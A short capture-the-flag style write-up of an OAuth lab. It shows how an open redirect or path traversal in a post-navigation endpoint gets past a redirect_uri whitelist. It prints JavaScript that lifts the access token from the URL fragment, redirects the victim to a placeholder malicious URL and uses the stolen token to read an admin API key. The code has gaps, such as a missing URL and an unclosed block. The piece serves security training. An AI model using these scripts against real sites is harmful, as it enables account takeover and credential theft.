Lab link.
Various methods can be used to prevent manipulation of the redirect_uri parameter, one of them is the whitelist method. However, suppose we manage to communicate with the external domain at another point in the system, for example through a directory traversal vulnerability. In that case, we can manipulate it and steal important tokens.
After logging in once, we do not need to enter any user information in the next logins. There is an Authorization section in the “GET /me” request, which draws our attention to requests, and the account is opened by returning user information in the response with this section. We experiment with the redirect_uri parameter to find a path traversal.
If the attempts are not successful, this means that we cannot path traversal with the redirect_uri parameter.
We browse the site to find a place that provides a path traversal.
Path traversal vulnerability is present in the “GET /post/next?path=” section. Using the path parameter, a request can be made to an external domain. Using this vulnerability, we will try to manipulate the endpoint to which the user will be redirected after the OAuth flow is assigned. Malicious URL (malicious URL is tested in the browser):
We write a script to extract a fragment (such as a token) and add these parameters to the main directory of the page, allowing the page to reload.
<script> window.location = ‘/?’+document.location.hash.substr(1) </script>
When we look at the access log, we see the access token request. Now we write a script to force the victim to visit this URL.
<script> if (!document.location.hash) {
window.location = ‘MALICIOUS_URL‘
} else {
window.location = ‘/?’+document.location.hash.substr(1) </script>
We first make the request “View Exploit” and then “Deliver exploit to victim”, use the incoming access token in the GET /me request, and access the admin API Key.
a
a